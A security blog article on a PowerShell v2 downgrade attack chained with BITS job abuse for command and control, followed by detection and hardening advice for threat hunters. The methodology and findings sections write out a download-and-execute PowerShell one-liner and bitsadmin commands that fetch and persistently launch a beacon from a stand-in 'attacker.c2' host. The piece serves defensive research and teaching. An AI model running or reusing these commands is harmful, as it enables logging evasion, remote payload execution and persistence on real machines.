👻 **The PowerShell Downgrade Playbook**

Abstract
Modern Endpoint Detection and Response (EDR) solutions invest heavily in scripting telemetry, particularly PowerShell Script Block Logging (PS SBL), to catch sophisticated post-exploitation activity. However, threat actors are adapting by intentionally reverting to outdated execution contexts or abusing Living Off the Land Binaries and Scripts (LOLBAS) to deliberately evade detection frameworks. This article investigates a practical, high-impact stealth technique: chaining a PowerShell Downgrade Attack with BITS job abuse for command and control (C2) operations. We analyze why this chain bypasses common EDR/SIEM configurations and provide prescriptive, data-driven mitigation strategies for threat hunters and DFIR specialists.

High-Retention Hook

A few months ago, while analyzing telemetry during a mock incident response exercise, I overlooked a low-fidelity Sysmon event involving the Background Intelligent Transfer Service (BITS). It was noise. Only later, tracing the source, did I realize the initial execution was a clean, one-line PowerShell command that triggered zero script block logging. The execution context was silently downgraded. I had been hunting for the noise of version 5.0 and missed the whisper of version 2.0. That realization confirmed a dangerous gap: sometimes the most successful evasion involves intentionally executing the oldest, simplest, and loudest tools in the quietest way possible.

Research Context

The widespread adoption of PowerShell v5+ introduced crucial security features like SBL and AMSI (Antimalware Scan Interface). These features provided defenders with unprecedented visibility into script execution (MITRE T1059.001). Naturally, EDR vendors shifted their detection logic to rely heavily on this rich telemetry.

However, the operating system maintains backward compatibility, meaning the PowerShell v2.0 engine remains accessible on many modern Windows installations. This older engine predates robust logging features. For threat actors, this becomes an immediate, low-cost mechanism to bypass highly tuned defensive layers designed for the later versions. By combining this technique with a standard Windows utility like BITS (T1197), which is designed to handle file transfers reliably and often runs under elevated privileges, attackers gain a stealthy, persistent C2 channel that looks like benign administrative activity.

Problem Statement

The core security gap is defensive over-optimization. Many security operations centers (SOCs) focus on parsing high-fidelity, high-volume data streams like those generated by AMSI or PowerShell SBL. When a threat actor forces the execution context to a low-fidelity environment using the -version 2 flag, the expected data simply disappears. The telemetry pipeline breaks.

Furthermore, monitoring BITS activity is often complex. While Sysmon provides Event ID 12/13/15 for process creation and modifications, correlating BITS execution with malicious activity is challenging because numerous legitimate applications (like Windows Update or Endpoint Management tools) constantly use BITS. Current behavioral detections frequently fail to distinguish a malicious BITS job receiving a staged payload from a legitimate system update transfer, especially if the payload staging server uses common ports (80/443).

Methodology or Investigation Process

To demonstrate this bypass, I set up a controlled environment simulating a modern enterprise endpoint running Windows 10 with a generic EDR simulation layer (Sysmon configured for comprehensive logging, including process creation, network connections, and WMI/BITS events).

The attack chain followed these steps:

1. Forced Downgrade: The attacker executes a standard payload retrieval command but prepends the version flag: powershell.exe -version 2 -command "IEX (New-Object Net.WebClient).DownloadString('http://attacker.c2/staged_ps.txt')"
2. Telemetry Check: Examination of the logs confirms that while a process creation event for powershell.exe is logged, there is no corresponding Script Block Logging (Event ID 4104) or Module Logging (Event ID 4103). The code execution is effectively opaque.
3. BITS Job Creation: The staged payload uses the Start-BitsTransfer cmdlet or directly calls BITS COM objects to create a hidden job designed to pull the final malware payload (e.g., a Cobalt Strike beacon) from a remote server (T1197). This transfer is often initiated under the context of an existing user or system process.

Key focus during the investigation was observing the difference between the v2 execution and a standard v5 execution of the exact same command. The lack of detailed command line arguments (due to truncation or obfuscation in older logs) and the complete absence of script-level visibility highlight the success of the evasion.

Findings and Technical Analysis

The technical analysis confirmed that targeting the PowerShell v2 engine is a reliable method for avoiding Script Block and Module logging on systems where v2 runtime compatibility is enabled (which is often the default).

When the BITS job is created, the process often executes the transfer itself and can even be configured for persistence by using notification events (e.g., running a program when the transfer is complete). The resulting network traffic from the BITS job is often sourced from an unexpected process like svchost.exe hosting the BITS service, or from the process that initially created the job. This masks the true origin of the C2 connection.

For instance, a standard BITS C2 setup would involve:

bitsadmin /transfer MyJob /download /priority high http://attacker.c2/beacon.exe C:\Users\Public\beacon.exe
bitsadmin /setnotifycmdline MyJob C:\Users\Public\beacon.exe ""

While EDR might catch the suspicious use of bitsadmin.exe, the more stealthy method involves direct COM or WMI calls, leaving only vague process artifacts that often get categorized as benign background activity. The failure in detection is two-fold: missing the initial stealth execution (PS v2) and misinterpreting the resulting C2 traffic (BITS).

Risk and Impact Assessment

This technique is not theoretical. Threat groups like Nobelium (associated with the SolarWinds incident response) are well-documented for their mastery of LOLBAS and the abuse of legitimate mechanisms like Scheduled Tasks and BITS for persistent, low-profile communication.

The impact of this stealth chain is significant:

1. Persistence: BITS jobs inherently provide persistence. If the system restarts or loses network connection, the job automatically resumes, ensuring the C2 connection is eventually established.
2. Trust Bypass: BITS traffic is typically allowed through the internal firewall policies because it is essential for system updates. This makes egress filtering highly difficult.
3. Delayed Detection: Without high-fidelity scripting logs, incident responders lack critical forensic evidence about the initial payload. Attribution and root cause analysis become significantly harder, leading to prolonged dwell times.

Mitigation and Defensive Strategies

Defending against this technique requires a shift from focusing solely on modern logging features to enforcing strong configuration baselines and enhancing behavioral monitoring of core administrative utilities.

1. Disable PowerShell v2 Engine: The most direct solution is removing the PowerShell v2 runtime entirely if not strictly required for legacy applications. This eliminates the bypass mechanism.
2. Enforce Constrained Language Mode (CLM): CLM restricts script execution to a subset of PowerShell language features, effectively locking down the execution environment and preventing malicious COM object instantiation, even in older versions (if running under certain policies).
3. AppLocker or WDAC Configuration: Implement application whitelisting policies (via AppLocker or Windows Defender Application Control) to explicitly block or restrict execution of powershell.exe when launched with the -version 2 argument.
4. Enhanced BITS Monitoring: Focus threat hunting efforts on the creation and modification of BITS jobs using Sysmon Event IDs (e.g., 12, 13, 15). Hunt for BITS jobs with suspicious names, unusual file paths (not system folders), and most critically, C2 traffic flowing out of non-browser processes (like svchost.exe) immediately following a BITS job completion.

Researcher Reflection

My initial oversight in that exercise taught me a valuable lesson: attackers often choose the path of least resistance, not the most complex. We, as defenders, tend to chase the shiny new logging features, forgetting that our adversaries are perfectly happy exploiting decades-old compatibility layers. True defensive maturity lies in enforcing system hygiene and monitoring the behavioral chains across administrative tools, regardless of which version of PowerShell kicked off the process.

Career and Research Implications

For aspiring security researchers and candidates applying for Threat Hunter or DFIR roles, understanding chains of low-fidelity artifacts is paramount. Hiring managers are looking for professionals who can analyze data beyond high-level EDR alerts. Demonstrating expertise in connecting Sysmon events for process creation (T1059) to scheduled task modification (T1547.001) or BITS job creation (T1197) shows an ability to perform deep, critical-level analysis of TTPs (Tactics, Techniques, and Procedures), moving beyond simple signature matching.

Conclusion

The PowerShell Downgrade Attack combined with BITS abuse serves as a powerful reminder that relying solely on modern telemetry features creates predictable blind spots. Effective defense requires enforcing system hardening, rigorously monitoring low-fidelity administrative tools, and focusing on the sequence of execution rather than individual, high-noise events. By proactively eliminating legacy attack surfaces and adopting a LOLBAS-aware threat hunting mindset, we can effectively raise the cost for stealth-focused threat actors.

Discussion Question

Beyond BITS, what other legitimate Windows administrative utility (like WMI or Certutil) do you find is consistently under-monitored in enterprise environments, and what low-fidelity artifact indicates its malicious abuse? Share your insights below.

Written by - Harsh Kanojia
LinkedIn - https://www.linkedin.com/in/harsh-kanojia369/

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